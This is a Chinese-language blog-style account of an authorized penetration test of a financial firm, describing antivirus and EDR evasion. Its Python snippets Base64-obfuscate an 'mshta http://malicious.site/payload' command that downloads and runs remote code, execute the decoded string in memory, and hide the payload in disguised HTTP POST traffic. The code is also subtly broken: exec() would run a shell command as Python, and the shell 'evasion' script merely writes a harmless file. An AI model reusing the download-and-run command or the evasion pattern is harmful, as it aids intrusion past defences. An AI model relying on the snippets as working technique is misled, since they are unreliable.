一、一个真实渗透案例的开始
合法声明:本文仅限授权安全测试,供安全研究人员学习,严禁用于非法用途。
在某次授权的企业渗透测试中,我和团队接到了一个挑战:攻破一家金融公司的内网,获取对其核心数据库的访问权限。我们知道这样的目标经过了严格的安全防护,AV和EDR层层把关,但我们决心找到一条路,通过免杀技术突破重围。
这个案例的开端是在一次暴露的Web应用扫描中,我们发现了一处有潜在SQL注入风险的页面。通过这次突破,我们得到了有限的访问权限,于是决定展开一场更深层次的攻击行动。
二、免杀技术的魔法工坊
要想顺利横向移动,我们的首要任务就是避开目标的检测系统。传统的攻击载荷很容易被杀毒软件识别并拦截,因此我们需要对这些恶意载荷进行免杀处理。
工具选择
我们首先选择了Cobalt Strike作为我们的攻击平台,其强大的团队协作功能和灵活的Payload生成能力,使得它成为我们进行免杀处理的首选工具。结合Metasploit和自写代码,我们制定了一套独特的免杀方案。
载荷混淆
免杀的第一步是对Payload进行混淆。混淆的目的在于扰乱杀毒软件的特征匹配。以下是我们使用Python实现的一个简单的混淆脚本示例:
<pre><code class="language-python">import base64
def obfuscate_payload(payload):
简单的Base64混淆
encoded = base64.b64encode(payload.encode('utf-8')) return encoded.decode('utf-8')
original_payload = "mshta http://malicious.site/payload" obfuscated_payload = obfuscate_payload(original_payload) print(f"Obfuscated Payload: {obfuscated_payload}")</code></pre>

上述代码通过Base64对载荷进行了简单的加密,使得其在静态检测时难以识别。
三、隐匿之术:内存技术
当我们将载荷混淆之后,下一步就是如何在内存中执行而不被察觉。现代EDR的一个显著特点是对内存的全面扫描,为此,我们需要将恶意代码完全加载到内存中,并避免落地硬盘。
分段加载技术

通过对内存分段加载,我们可以将完整的Payload分成多个部分,单独加载并组装。这种技术通常会结合一些加密来进一步增强隐蔽性。
<pre><code class="language-python">def load_in_memory(encoded_payload):
以某种方式解码并执行
decoded = base64.b64decode(encoded_payload)
这里是伪代码,实际需要使用高级技术来执行
exec(decoded)
load_in_memory(obfuscated_payload)</code></pre>
上面的代码只是一个简化的示例,实际操作中会使用更复杂的加密和加载机制,以确保在内存中的执行无法轻易被检测。
四、流量的伪装与模糊
在内网横向移动时,我们不仅要隐匿载荷,还要伪装我们的网络流量。传统的攻击流量一旦被IDS/IPS捕获,会触发警报。我们必须做到与正常流量无异。
协议伪装
一种常用的技术是将恶意流量伪装成正常的HTTP或DNS请求。通过对流量进行分包并混入正常请求中,我们可以有效降低被检测的概率。
<pre><code class="language-python">import requests
def send_disguised_payload(url, payload): headers = { 'User-Agent': 'Mozilla/5.0', 'Content-Type': 'application/x-www-form-urlencoded' }
伪装的HTTP POST请求
response = requests.post(url, data={'query': payload}, headers=headers) print(f"Response Status Code: {response.status_code}")

send_disguised_payload("http://legitimate.site/api", obfuscated_payload)</code></pre>
通过这样的伪装,我们的攻击流量看起来就像正常的API请求,极大地提高了我们行动的隐蔽性。
五、EDR/AV对抗:终极幻影
即使我们已经在流量和载荷上做了很多努力,EDR系统依然是我们最大的敌人。为了最终绕过这些检测,我们需要一些更高级的技巧。
针对性特征规避
不同的EDR厂商有不同的检测机制,我们可以通过对其特征的研究,找到其检测盲区。例如,通过动态分析AV的规则,设计出特定的字符串和行为模式来规避。
<pre><code class="language-bash"># 一个简单的Shell脚本示例,进行特征规避 touch /tmp/safe_file.txt
向文件中写入特定内容,规避EDR检测
echo "Non-malicious content" > /tmp/safe_file.txt</code></pre>
此类技术需要极高的技术背景和大量的实验,但一旦成功,将让我们的攻击手段更加灵活和难以追踪。

六、从攻防战中学习
这次挑战不仅让我在技术上得到了提升,也让我深刻认识到攻防的艺术。免杀技术并不是简单的工具使用,更是一种思维的升华。我们最终成功获取了目标数据库的访问权限,并完整记录了整个过程,为企业提供了详细的安全加固建议。
经验总结
- 深入了解目标环境:在实施免杀技术时,了解目标系统的防御机制至关重要。
- 灵活运用多种技术:不同的目标需要不同的免杀策略,灵活运用工具和技术组合是成功的关键。
- 持续学习与实践:攻防领域变化迅速,只有不断学习和实践,才能始终保持领先。
这场攻防战让我更加坚定了成为一名顶级红队专家的决心,也期待未来更多的挑战。希望本文可以为同样在追求卓越的你提供一些启发。